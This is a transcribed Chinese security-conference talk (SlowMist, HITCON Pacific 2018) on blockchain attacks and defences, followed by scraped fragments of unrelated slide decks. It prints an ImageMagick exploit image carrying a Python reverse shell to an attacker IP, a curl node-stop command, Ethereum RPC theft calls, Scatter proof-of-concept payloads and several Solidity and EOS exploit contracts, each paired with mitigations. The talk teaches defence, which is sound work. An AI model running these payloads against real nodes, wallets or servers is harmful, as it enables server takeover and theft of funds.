区块链亡灵军团

Size: px
Start display at page:

Download "区块链亡灵军团"

Transcription

1 HITCON Pacific 2018

2 区块链亡灵军团 Undead Armies of Blockchain 慢雾科技

3 关于 慢雾科技 (SlowMist) 专注区块链 生态安全 & 演讲者 余弦, 慢雾科技联合创始 人 Thinking, 慢雾科技安全研究员 致谢 慢雾安全团队及慢雾的伙伴们

4 目录 引 子 DApp 安全攻防 链下攻防 RPC/P2P 攻击 链上攻防 未来 ls -l /

5 引 子

6 比特币 6P Public Key + BIP38 Passphrase Private Key

7 中本聪

8 阿桑奇

9 中本聪

10 信仰来源 数学之美 : 基于成熟的密码学与算法 Merkle Tree 经济之美 : UTXO(Unspent Transaction Output) 共识算法 POW(Proof of Work)

11 Merkle Tree 父区块 父区块哈希 + 版本 + 时间戳 + 难度 + 随机数 子区块 From Mastering Bitcoin

12 UTXO Jack Jack 转账 Tom 找零

13 共识算法 POW Proof of Work( 工作量量证明 ) 有难度的记账 -> 概率与统计学游戏 -> 消耗电 力力 Hash( 上 一个 Hash 值, 交易易记录集, 随机数 ) = ad2b2e5 有难度的记账 -> 有奖励 ->12.5 枚 比特币以此共识算法来解决拜占庭将军问题

14 算 力力战争

15 门罗的世界 匿匿名基于 CryptoNote 挖矿 CPU 算 力力友好

16 门罗的世界

17 智能合约 相 比 比特币的 非图灵完备脚本, 出现了了图灵完备的合约 以太坊 (Ethereum/ETH) EVM Solidity 柚 子 (EOS): WebAssembly(Wasm) C++

18 影 子经纪 人

19 严重缺乏安全感的三 大原因 1. 区块链 生态 自带 金金融属性 2. 缺乏国家背书 3. 被攻击后, 普遍溯源很难 这些导致亡灵军团的肆虐, 代码即法律律 成为发起盗币的借 口

20 DApp 安全攻防

21

22 DApp 安全攻防 子 目录 链下攻防 RPC/P2P 攻防 链上攻防

23 链下攻防 举 几个经典例例 子

24 中间 人劫持 MyEtherWallet DNS 劫持事件

25

26 防御 不不仅是 HTTPS, 还需要 HSTS HTTP Strict Transport Security

27 第三 方组件 ImageMagick 漏漏洞洞 issues/detail?id=1640 许多平台的图 片上传后处理理机制都 用到了了 ImageMagick

28 ImageMagick 漏漏洞洞 shellexec.jpeg %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream); s.connect((" ",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops

29 漏漏洞洞触发 convert shellexec.jpeg whatever.gif sh -c python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.s OCK_STREAM);s.connect((" ",2333));os.dup2(s.file no(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([ /bin/sh","-i"]);'

30 攻击过程 通过恶意构造的图 片拿到服务器器反弹后 门 上传代理理到服务器器 长期控制服务器器 拿到服务器器配置 文件中的数据库账号权限 拖 走数据库相关数据, 了了解数据库相关表结构 操作数据库凭空 生成账号余额 进 行行交易易然后提现完成攻击 删除数据库操作订单和账号数据 ( 导致交易易所对账 无法发现异常 ) 持续潜伏盗币

31 防御 1. 上层应 用严格校验上传输 入的图 片类型 2. ImageMagick 通过配置 文件做相关禁 用 修改 ImageMagick 的 policy 文件, 默认位置为 /etc/imagemagick/policy.xml, 在 <policymap> 中加 入以下 <policy>( 即禁 用 PS EPS PDF XPS coders) <policymap> <policy domain="coder" rights="none" pattern="ps" /> <policy domain="coder" rights="none" pattern="eps" /> <policy domain="coder" rights="none" pattern="pdf" /> <policy domain="coder" rights="none" pattern="xps" /> </policymap>

32 XSS TradingView XSS 也是第三 方组件 K 线 几乎都 用这个

33 TradingView XSS

34 DOM XSS 漏漏洞洞利利 用 dfeatures=[]&indicatorsfile= 漏漏洞洞位置 D? $.getscript(urlparams.indicatorsfile).done(function () {});

35 防御 简单粗暴暴 : 删掉 indicatorsfile 就好, 基本不不 用

36 私钥存储 私钥即身份 杜绝明 文私钥的存储与 非安全传输 密码保护 BIP38 Keystore 硬件层 面的安全保护 KMS(Key Management Service) HSM 示例例 : 示例例 :

37 RPC/P2P 攻击 比特币 / 以太坊 /EOS

38 Stop Bitcoin Node 以为私钥与节点分离就 足够安全, 实际上还可以拒绝服务 (DoS): curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"stop","params":[]}' -H 'content-type:text/plain;'

39 防御 Nginx 大法 : 前 面加 一层 Nginx 反向代理理 IP 替换为域名 HTTP 替换为 HTTPS 用户名密码隐藏 白名单 大法 : 白名单 API 接 口

40 以太坊 黑 色情 人节 一种基于以太坊 RPC 的 自动化盗币 大 工程 一个潜伏两年年之久针对以太坊的攻击 大事件 , 第 一次攻击发 生 , 由慢雾安全团队全球 首次披露露

41

42 可被攻击的以太坊节点全球分布

43 攻击关键 unlockaccount 私钥在内存中保存的时间, 默认是 300 秒如果设置为 0, 则表示永久存留留在内存, 直 至 Geth/Parity 退出 Client Console RPC Method invocation personal.unlockaccount(address, passphrase, duration) {"method": "personal_unlockaccount", "params": [string, string, number]} APIs#personal_unlockaccount

44 攻击关键 unlockaccount 用户在带私钥的节点上进 行行解锁钱包操作, 准备转账 > personal.unlockaccount("0x5e97870f263700f46aa00d b9bc5a120") Unlock account 0x5e97870f263700f46aa00d b9bc5a120 Passphrase: true > personal.unlockaccount("0x5e97870f263700f46aa00d b9bc5a120", "foo", 300) true

45 攻击关键 eth_sendtransaction 攻击者远程调 用以太坊节点 RPC API, 进 行行转账操作 curl -X POST --data '{"jsonrpc":"2.0","method":"eth_sendtransaction","params": [{see below}],"id":1}' params: [{ "from": "0x5e97870f263700f46aa00d b9bc5a120", "to": "0xd46e8dd67c5d32be8058bb8eb970870f ", "gas": "0x76c0", // "gasprice": "0x9184e72a000", // "value": "0x9184e72a", // "nonce":"0x15", // 21 }]

46 攻击关键 eth_sendtransaction params: [{ "from": "0x5e97870f263700f46aa00d b9bc5a120", "to": "0xd46e8dd67c5d32be8058bb8eb970870f ", "gas": "0x76c0", // "gasprice": "0x9184e72a000", // "value": "0x9184e72a", // "nonce":"0x15", // 21 }] "nonce":"0x15 1. 递增 : 从 0 开始每 一笔交易易加 1 2. 只和当前钱包有关 3. nonce 过 大时, 只需等待 小于这个过 大 nonce 的所有 nonce 都使 用完即可 4. 节点程序 (Geth/Parity) 重启会重置 nonce

47 攻击关键 其他相关 API eth_getblockbynumber eth_accounts eth_getbalance eth_sign eth_sendrawtransaction

48 攻击 工程 找出全球开了了 RPC 的以太坊节点 方式 一 :8545/8546 端 口 :ZMap/MASSCAN 方式 二 :P2P 协议扩展 相关 RPC API 自动化轮询 当碰上节点 用户对 自 己的钱包执 行行unlockAccount 时, 立 马转 走 还有其他什什么攻击 方式?

49 攻击 工程 高级技巧 当碰上节点 用户对 自 己的钱包执 行行 unlockaccount 时, 立 马递增 nonce 做 一堆合法转账签名 即使节点之后关闭 RPC 接 口, 也可以 : 一旦 nonce 满 足条件 立 马完成转账操作 可以继续脑洞洞...

50 防御 除了了 Nginx 大法之外, 还可以... 更更改默认的 RPC API 端 口及监听地址为内 网 配置 iptables 限制对 RPC API 端 口的访问, 如 iptables -A INPUT -s p TCP --dport j ACCEPT iptables -A INPUT -p TCP --dport j DROP 账户私钥 文件 (keystore) 不不要存放在节点上 使 用sendRawTransaction 发送私钥签名过的转账记录 私钥物理理隔离或者 高强度加密存储并保障密钥的安全

51 EOS Scatter 远程权限劫持漏漏洞洞 也和 RPC 有关

52 漏漏洞洞剖析 关键点 : 删除了了这 行行 if 判断 漏漏洞洞触发点

53 漏漏洞洞剖析 if(request.data.hasownproperty('appkey')){ 请求只要不不带 appkey 就好 直接进 入 socket.emit('api', await ApiService.handler(Object.assign(request.data, {plugin:request.plugin})));

54 漏漏洞洞剖析 static async handler(request){ const action = Action.fromJson(request); // Only accept pre-defined messages. if(!object.keys(actions).map(key => Actions[key]).includes(request.type)) return; } return await this[request.type](request);

55 漏漏洞洞剖析 request.type

56 port 50005, socket.io

57 调试 调试 socket.io 可以 用 socket.io tester

58 攻击关键 结合源码进 行行 PoC 构造 7c62978c479eb8e617a7e41eb95a0a0d6fb17cd1/packages/core/src/index.js { } "data": { } "type": "getversion"

59 攻击关键 { "data": { createtransaction "type": "createtransaction", "payload": { "blockchain": "eos", "account": "aaaaaaaaaaaa", "network": { "blockchain": "eos", "host": "api1.eosasia.one", "port": 443, "protocol": "https", "chainid": "aca376f206b8fc25a6ed44dbdc66547c36c6c33e3a119ffbeaef943642f0e906" }, "actions": [{ "contract": "eosio.token", "action": "transfer", "params": ["zzzzzzzzzzzz", "eosio", "0.002 EOS", "x"], }] } }

60 攻击关键 基于 socket.io 的通信, 可以参考在线版本 结合 CSRF 可以让攻击趋于完美

61 防御 升级最新的 Scatter 就好 大量量数字资产冷存储是 非常有必要的

62 更更多 EOS 超级节点安全执 行行指南 EOS 超级节点安全审计 方案

63 链上攻防 区块链安全攻防对抗最激烈烈的地 方 子 子 目录 假充值攻防 以太坊智能合约攻防 EOS智能合约攻防 -

64 假充值攻防 一种针对数字货币相关平台的业务 风控有关的新型攻击 方式

65 USDT 假充值 交易易所在进 行行 USDT 充值交易易确认是否成功 的判断存在逻辑缺陷, 未校验区块链上交易易详情中 valid 字段值是否为 true

66 交易易记录 { "amount": " ", "block": ,... "referenceaddress": "12j8jFDK65Uy72SD8U6HWGG8wU88V13twV", "sendingaddress": "16k5MgZHm2yxiKzrdeaY2vmn13xSSu5xg6", "txid": "4469d1df053c811cd6e26ed0a4e3f9ce448118c454ea9e08ee20a2950ef2077e", "type": "Simple Send", "type_int": 0, "valid": false, "version": 0 }

67 防御 深刻理理解 USDT 的机制与交易易细节... USDT 官 方也需要给出 足够引起重视的安全开发引导

68 以太坊代币假充值 类似 USDT 假充值, 但 又有 自 己的特点 错误写法 正确写法

69

70 防御 合约层 错误即抛出异常回滚 requeire if/else + revert/throw 平台层 严格校验对接的合约是否有不不严谨的实现 严格基于 Event 事件进 行行判断, 但要警惕 Event 作恶

71 更更多 XRP Partial Payments 门罗币 (Monero) A bug in the Monero wallet balance can enable theft from exchanges A Post Mortem of The Burning Bug

72 以太坊智能合约攻防 第 一个图灵完备的智能合约的攻防博弈世界

73 BEC 溢出 0xc5d105e af9bbff092d4b6769c82f793d#code 溢出点 :unit256(cnt) * _value

74 溢出细节 uint256 amount = uint256(cnt) * _value; unit256( 范围 :0 到 2**256-1) 也就是 0 到 : 溢出后从 0 开始计算 被攻击导致 amount 为 0, 攻击成功

75 几个有趣的点 有 SafeMath 机制, 但唯独被溢出的这 行行代码没 用 uint256 amount = uint256(cnt) * _value; uint256 amount = uint256(cnt).mul(_value); 有 风控机制 whennotpaused 被攻击后, 立刻暂停合约 BEC 溢出事件真正打开了了智能合约潘多拉魔盒

76 transferfrom 权限漏漏洞洞 EDU BAI 等

77 攻击关键 // 批准转账上限 ( 批准 目标可以代我转账的上限 ) function approve(address _spender, uint256 _value) public returns (bool success) { } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;

78 攻击关键 // 代我转账的流程 function transferfrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to!= 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint previousbalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; 溢出不不会导致回滚 Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousbalances); return true; }

79 防御 transferfrom 需要增加判断 : require(allowed[_from][msg.sender] >= _value);

80 算术精度问题 if (price > 0) { uint256 _fee = (price/1000).mul(feepercnt) ; // feepercnt < 100 uint256 _price = price.sub(_fee); feepool.transfer(_fee); _seller.transfer(_price); }

81 攻击关键 Solidity 没有浮点型, 运算结果只保留留整数部分 uint256 _fee = (price/1000).mul(feepercnt); 先除后乘, 因为精度问题, 导致结果会放 大误差

82 防御 先计算乘法再计算除法

83 类型转换问题 contract Demo { function currentprice(uint256 endingprice, uint256 startingprice, int256 totaltimes, int256 changetimes) view returns(uint256){ require(changetimes < totaltimes); int256 pertimeschange = (int256(endingprice) - int256(startingprice)) / totaltimes; return uint256(int256(startingprice) + changetimes * pertimeschange); } } function luckytest1(uint256 _value) view returns(uint256){ return uint256(int256(_value)); } function luckytest2(uint256 _value) view returns(int256){ return int256(_value); }

84 攻击关键 当 startingprice > endingprice 是降价拍卖 当 startingprice = endingprice 是定价拍卖 当 startingprice < endingprice 是升价拍卖 uint256 转成 int256 结果会变成负数 最终返回的结果没有和 startingprice 进 行行 比较判断

85 攻击过程 假设 startingprice 的值为 1000 那么 changetime * pertimeschange 的值要为 假设 changetime 的值为 200 那么 pertimeschange 的值为 -5 totaltime 的值为 500 (int256(endingprice) - int256(startingprice)) = -5 * totaltime endingprice = 对应的 uint256 值是

86 攻击过程 endingprice: startingprice: 1000 totaltimes: 500 changetimes: 200

87 防御 尽可能减少类型转换的使 用, 特别是 uint 和 int 之间相互转换, 类型相同但是表示范围不不同之间的转换也要注意 类型转换之后要进 行行检测操作, 确保结果与预期的 一致

88 变量量覆盖 未初始化的存储指针 数组 长度溢出 数组 长度及索引可控 Mapping

89 未初始化的存储指针 function editperson(address _address, string _name, uint256 _account) public payable { if(msg.value < 1 ether){ Person storage p = Persons[_account]; p.personaddress = _address; p.value = msg.value; p.name = _name; p.isrich = false; } else{ p.personaddress = _address; p.value = msg.value; p.name = _name; p.isrich = true; } }

90 攻击关键 Struct 是 Storage 类型的 声明后没有进 行行初始化操作时, 默认指向 slot 0 的位置

91 攻击过程

92 数组 长度溢出 function settokenidbyindex(uint256 _index, uint256 _tokenid) public storageaccesscontrol{ tokenids[_index] = _tokenid; // 数组的索引及对应的元素可以控制 } function pushtokenid(uint256 _tokenid) public storageaccesscontrol returns (uint256) { tokenids.push(_tokenid); return tokenids.length; } function decrementtokenidslength() public storageaccesscontrol { tokenids.length--; // 没有对数组的 长度进 行行判断, 当 长度为 0 进 行行 自减操作时, 产 生下溢

93 数组 长度溢出 address public owner; address public manageraddress; uint256[] public tokenids; modifier storageaccesscontrol() { require(msg.sender == owner msg.sender == manageraddress); _; } function setowner(address _newowner) external onlyowner { require(_newowner!= address(0)); owner = _newowner; } function setmanager(address _newmanager) external onlyowner { require(_newmanager!= address(0)); manageraddress = _newmanager; }

94 攻击关键 数组是 Storage 类型 数组的 index 对应元素的 key_slot = sha3(array_slot) + offset Storage 最 大只有 2**256 个 slot(0 到 2**256-1) slot 溢出之后可以覆盖相应位置的数据

95 攻击关键 执 行行 settokenidbyindex owner 的值

96 攻击关键

97 攻击过程 操作 decrementtokenidslength 方法会执 行行 tokenids.length-- 操作 settokenidbyindex 方法会执 行行 tokenids[_index] = _tokenid

98 攻击过程 获取储存地址 : web3.sha3("0x ", { encoding: 'hex' }) 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace hex(2**256-0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace + 0) 0xbfa87805ed57dc1f0d489ce33be4c4577d74ccde357eeeee058a32c55c44a532

99 攻击过程 执 行行 settokenidbyindex owner 的值被改变

100 攻击过程

101 数组 长度及索引可控 同理理当数组 长度及索引可控的时候也有存在变量量覆盖问题 function guess(uint256 x, uint256 blocknum) public payable {... require(blocknum > block.number); if(token.allowance(msg.sender, address(this)) > 0){ token.safetransferfrom(msg.sender, address(this), 1*(10**18)); } if (map.length <= uint256(msg.sender) + x) { map.length = uint256(msg.sender) + x + 1; } map[uint256(msg.sender) + x] = blocknum; }

102 防御 Struct, Array, Mapping 这些类型的变量量在函数中默认是 Storage 类型, 在声明变量量后要进 行行初始化操作 在进 行行数组 length-- 操作的时候, 检查 长度要 >0 在 用户可以控制的数组 长度及索引位置, 添加最 大值限制或检查

103 设计 / 业务逻辑错误 address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { } require(msg.value >= prize msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value;

104 攻击关键 没有判断 msg.sender 是否是普通账号, 攻击者通过构造攻击合约参加游戏, 造成拒绝服务攻击 攻击合约向 目标地址发起事务且 msg.value > prize, 成为 king 攻击合约没有 fallback 函数或者 fallback 函数拒绝接收 ETH, 导致其他 用户 无法参加游戏

105 攻击 Exploit contract attack{ function goattack(address _add) public payable { } _add.call.value(msg.value)(); } function () payable { } revert();

106 修复 方法? function iscontract(address account) internal view returns (bool) { } uint256 size; assembly {size := extcodesize(account)} return size > 0; function() external payable { } require(msg.value >= prize msg.sender == owner); require(!iscontract(msg.sender)); king.transfer(msg.value); king = msg.sender; prize = msg.value;

107 但是 "iscontract" 可以被绕过 contract attack{ // 在合约构造中 extcodesize(account) 的值为 0 // 所以在构造 方法中写 入攻击代码可以绕过 function attack(address _add) public payable { _add.call.value(msg.value)(); } } function () payable { revert(); }

108 怎么修复? 合理理使 用 tx.origin function ishuman(address account) internal view returns (bool) { uint256 size; require(msg.sender == tx.origin); assembly {size := extcodesize(account)} return size == 0; } function() external payable { require(msg.value >= prize msg.sender == owner); require(ishuman(msg.sender)); king.transfer(msg.value); king = msg.sender; prize = msg.value; }

109 ETH DApp Exploit God.Game被攻击事件

110 漏漏洞洞关键 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d#code function dividendsof(address _customeraddress) view public returns (uint256){ return (uint256) ((int256)(profitpershare_ * tokenbalanceledger_[_customeraddress]) - payoutsto_[_customeraddress]) / magnitude; } 减法溢出

111 复现 Exploit interface God { modifier onlyprofitsholders() { require(mydividends(true) > 0); _; } modifier onlytokenholders() { require(mytokens() > 0); _; } function mytokens() public view returns (uint256); function transfer(address _toaddress, uint256 _amountoftokens) public returns (bool); function withdraw() onlyprofitsholders() public; function mydividends(bool _includereferralbonus) public view returns (uint256); function sell(uint256 _amountoftokens) onlytokenholders() public; function reinvest() onlyprofitsholders() public; }

112 复现 Exploit contract Ack { function tokenfallback(address _from, uint _amountoftokens, bytes _data) public returns (bool) { return true; } address public god_add = 0xada045bf af21e7d00dcbeaa695872a; God god = God(god_add); function transfer(address _toaddress, uint256 _amountoftokens) public returns (bool) { god.transfer(_toaddress, _amountoftokens); }...

113 复现 Exploit }... function withdraw() payable public { god.withdraw(); } function reinvest() payable public { } god.reinvest(); function() payable public{} function sell(uint256 _amountoftokens) payable public { god.sell(_amountoftokens); }

114 更更多 慢雾安全团队知识库

115 EOS 智能合约攻防 虽然也是图灵完备的智能合约, 但 几乎独 立的攻防博弈新世界

116 EOS 合约第 一个溢出攻击 EOS 智能合约底层 asset 类存在溢出缺陷

117 溢出本质 EOS 智能合约官 方 asset 类存在溢出缺陷 官 方 api 中 asset 结构体的乘法运算溢出漏漏洞洞描述.html

118 溢出本质 EOS 智能合约官 方 asset 类存在溢出缺陷 Fix for asset overflows in eosiolib for parity with the WASM SDK (#5092)

119 防御 用好官 方的 asset 类, 不不要 自 己去实现 #include <eosiolib/asset.hpp> asset quantity 用好 uint 和 int

120 随机数安全 拿 EOS 合约来举例例 随机数 生成算法引 入了了可控或者可预测的种 子

121 随机数安全

122 防御 EOS 链上不不能 生成真随机数 Randomization in Contracts

123 新型回滚攻击 目标合约在收到转账通知的同时 生成随机数 目标合约将随机数保存在表中 攻击合约通过跨合约查表 方式获取数据 攻击合约通过获取到的数据决定是否回滚

124 复现 Exploit 通过查看 ABI 可复原表结构 // 复原表结构 struct game_info { uint64_t id; account_name player; eosio::asset amount; eosio::asset bonus; uint8_t bet_type; uint8_t bet_number; uint8_t bet_result; checksum160 user_seed_hash; uint64_t created_at; uint64_t primary_key() const { return id; } }; typedef eosio::multi_index<n(games), game_info> game_info_index;

125 复现 Exploit // 查询是否中奖 void query(){ game_info_index _checktable(n(imeoswinner1), N(imeoswinner1)); } auto iter = _checktable.rbegin(); if(iter->player!= _self iter->bet_result >= 50){ } // 下注 eosio_assert( false, "roll back" ); void init(account_name to, asset quantity, std::string memo) { } require_auth(_self); SEND_INLINE_ACTION( eosio::token(n(eosio.token)), transfer, {_self, N(active)}, {_self, to, quantity, memo} ); SEND_INLINE_ACTION( *this, query, {_self, N(active)}, std::make_tuple() );

126 防御 使 用 defer action 延迟执 行行 生成随机数

127 更更多 EOS 智能合约最佳安全开发指南 狼 人游戏 EOSBet EOSDice 等 十 八个安全漏漏洞洞事件始末

128

129 未来

130 公链 生态 当我们谈区块链时, 我们谈的是公链 支付与结算 竞技类 DApp( 剧烈烈发展中 ) 身份 基础设施 : 交易易所 钱包 节点 ( 超级节点 矿池等 )

131 安全 生态 随着公链的发展会越来越精细 基础设施安全 DApp 安全 面向 C 端的安全 区块链威胁情报 (BTI) 链上链下的情报共享与威胁治理理会更更加迫切与完善 比起传统攻击者转型, 新型攻击者更更容易易从公链相关开发者诞 生

132 隐私 自由与安全 公链的进化会诞 生真正的隐私 自由与安全的群体 公链的进化会逐渐诞 生新型作恶群体 公链的进化会解决国家 种族 群体之间的某些信任边界...

133 Q&A

区块链安全的至暗时刻

区块链安全的至暗时刻 https://www.noneage.com 区块链安全的 至暗时刻 邓永凯 @ 零时科技 1 区块链安全现状 140 区块链安全事件趋势图 138 105 70 35 15 9 3 4 3 6 8 0 2011 2012 2013 2014 2015 2016 2017 2018 区块链安全经济损失图 300000 263,812 225000 150000 75000 63,428 46,568

More information

以太坊钱包开发

以太坊钱包开发 以太坊钱包开发 熊丽兵 (Tiny 熊 ) 我 熊丽兵 Tiny熊 深 入浅出区块链 learnblockchain.cn 精通以太坊智能合约开发 作者 登链学院创始 人 电 子 工业出版社 Demo https://gitee.com/xilibi2003/ethwebwallet 大纲 钱包账号 地址 私钥 钱包账号管理理 以太转账 ERC20 Token 转账 Ethers.js 库 ( 数字

More information

PowerPoint 演示文稿

PowerPoint 演示文稿 The BitCoin Scripting Language 交易实例 交易结构 "result": { "txid": "921a dd24", "hash": "921a dd24", "version": 1, "size": 226, "locktime": 0, "vin": [ ], "vout": [ ], "blockhash": "0000000000000000002c510d

More information

Q2-CN NL

Q2-CN NL 中国独家联合发布 Dapp.com 去中 心化应 用市场报告 219 年年第 二季度 报告说明 本报告包含 219 年年第 二季度中开发在以太坊 EOS 波场 Steem TomoChain 以及 IOST 上的去中 心化应 用的市场洞洞察 在 219 年年 6 月 3 日晚 11:59( 美国东部时间 ) 后提交到 Dapp.com 或被审核上架的 dapp 未包含在本报告中 有部分的应 用提交到

More information

Simulator By SunLingxi 2003

Simulator By SunLingxi 2003 Simulator By SunLingxi sunlingxi@sina.com 2003 windows 2000 Tornado ping ping 1. Tornado Full Simulator...3 2....3 3. ping...6 4. Tornado Simulator BSP...6 5. VxWorks simpc...7 6. simulator...7 7. simulator

More information

以太坊开发实战 公开

以太坊开发实战 公开 蔡一@志顶科技 目录 什么是以太坊以太坊历史以太坊钱包及使用 Solidity 智能合约开发以太坊 DApp 开发实战案例分享及演示 2018/1/21 2 什么是以太坊 史上第一台 世界电脑, 任何人都可以使用的去中心化网络 可运行各种应用, 应用被称为 智能合约 不会受到设备当机 接收检查或被欺骗等的影响 以太坊拥有其本身的货币 以太币 用户通过支付以太币来使用去中心化网络以执行所需完成的任务

More information

Intruduction to the NGINX stream subsystem and OpenResty's support

Intruduction to the NGINX stream subsystem and OpenResty's support NGINX stream 子系统的简介 以及 OpenResty 对其的 支持 孙 大同 (@dndx) OpenResty Con 2017 北北京 2017 年年 10 月 21 日 关于我 90 后 曾在 LinkedIn,Cloudflare 等公司 工作 OpenResty Inc. 技术合伙 人 热爱钻研底层技术以及折腾 飞 行行爱好者 拥有固定翼私 人 飞 行行执照, 仪表 飞 行行资质以及

More information

红 在 这 个 系 统 中, 功 能 和 正 直 的 受 托 人 们 一 并 运 行, 不 会 有 任 意 一 个 中 心 化 实 体 能 够 从 系 统 所 得 中 获 得 好 处 PLS 的 作 用 不 仅 限 于 兑 换 游 戏 币, 其 本 身 也 可 以 作 为 投 资 资 产 目 的 玩

红 在 这 个 系 统 中, 功 能 和 正 直 的 受 托 人 们 一 并 运 行, 不 会 有 任 意 一 个 中 心 化 实 体 能 够 从 系 统 所 得 中 获 得 好 处 PLS 的 作 用 不 仅 限 于 兑 换 游 戏 币, 其 本 身 也 可 以 作 为 投 资 资 产 目 的 玩 去 中 心 化 点 对 点 游 戏 资 产 平 台, 可 运 用 智 能 合 约 整 合 中 心 化 游 戏 和 预 测 市 场 hackfisher@gmail.com 2014 08 04 翻 译 : 浮 壹 白 Allen, 麥 克 貓,HeyD, HackFisher 1.0 介 绍 比 特 股 Play( 后 面 统 称 PLAY) 作 为 一 个 实 验 产 品, 它 将 展 示 和 验

More information

MASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP #

MASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP # iptables 默认安全规则脚本 一 #nat 路由器 ( 一 ) 允许路由 # iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT ( 二 ) DNAT 与端口转发 1 启用 DNAT 转发 # iptables -t nat -A PREROUTING -p tcp -d 192.168.102.37 dprot 422 -j DNAT to-destination

More information

Chapter #

Chapter # 第三章 TCP/IP 协议栈 本章目标 通过本章的学习, 您应该掌握以下内容 : 掌握 TCP/IP 分层模型 掌握 IP 协议原理 理解 OSI 和 TCP/IP 模型的区别和联系 TCP/IP 介绍 主机 主机 Internet TCP/IP 早期的协议族 全球范围 TCP/IP 协议栈 7 6 5 4 3 应用层表示层会话层传输层网络层 应用层 主机到主机层 Internet 层 2 1 数据链路层

More information

A API Application Programming Interface 见 应 用 程 序 编 程 接 口 ARP Address Resolution Protocol 地 址 解 析 协 议 为 IP 地 址 到 对 应 的 硬 件 地 址 之 间 提 供 动 态 映 射 阿 里 云 内

A API Application Programming Interface 见 应 用 程 序 编 程 接 口 ARP Address Resolution Protocol 地 址 解 析 协 议 为 IP 地 址 到 对 应 的 硬 件 地 址 之 间 提 供 动 态 映 射 阿 里 云 内 A API Application Programming Interface 见 应 用 程 序 编 程 接 口 ARP Address Resolution Protocol 地 址 解 析 协 议 为 IP 地 址 到 对 应 的 硬 件 地 址 之 间 提 供 动 态 映 射 阿 里 云 内 容 分 发 网 络 Alibaba Cloud Content Delivery Network 一

More information

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco Windows RTEMS 1 Danilliu MMI TCP/IP 80486 QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos ecos Email www.rtems.com RTEMS ecos RTEMS RTEMS Windows

More information

財金資訊-80期.indd

財金資訊-80期.indd IPv6 / LINE YouTube TCP/IP TCP (Transmission Control Protocol) IP (Internet Protocol) (node) (address) IPv4 168.95.1.1 IPv4 1981 RFC 791 --IP IPv4 32 2 32 42 IP (Internet Service Provider ISP) IP IP IPv4

More information

untitled

untitled 1 Outline 數 料 數 數 列 亂數 練 數 數 數 來 數 數 來 數 料 利 料 來 數 A-Z a-z _ () 不 數 0-9 數 不 數 SCHOOL School school 數 讀 school_name schoolname 易 不 C# my name 7_eleven B&Q new C# (1) public protected private params override

More information

Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7.

Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7. Kubernetes 包管理理 工具 Helm 蔺礼强 Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7. Kubernetes

More information

ESP-Jumpstart

ESP-Jumpstart 2016-2019 2019 08 08 Contents 1 3 1.1 ESP32.............................. 3 1.2.................................................. 5 2 7 2.1............................................. 7 2.2 ESP-IDF............................................

More information

ARP ICMP

ARP ICMP ARP ICMP 2 9-1 ARP 9-2 ARP 9-3 ARP 9-4 ICMP 9-5 ICMP 9-6 ICMP 9-7 ICMP 3 ARP ICMP TCP / IP, IP ARP ICMP 3 IP, ARP ICMP IP ARP ICMP 2, 4 9-1 ARP, MAC, IP IP, MAC ARP Address Resolution Protocol, OSI ARP,,

More information

实践课堂成都站-0609.key

实践课堂成都站-0609.key 青云 QingCloud 容器器及 Kubernetes 实践 王渊命 青云 QingCloud 容器器平台负责 人 当我们谈论容器器时我们在谈论什什么? 容器器的两个视 角 资源隔离 应 用封装 容器器 生态圈现状 容器器技术 一家独 大百花 齐放 Docker, Rocket, Mesos Universal container, LXC, Hyper Container 调度系统三 足鼎 立

More information

EJB-Programming-3.PDF

EJB-Programming-3.PDF :, JBuilder EJB 2.x CMP EJB Relationships JBuilder EJB Test Client EJB EJB Seminar CMP Entity Beans Value Object Design Pattern J2EE Design Patterns Value Object Value Object Factory J2EE EJB Test Client

More information

CHAPTER 1

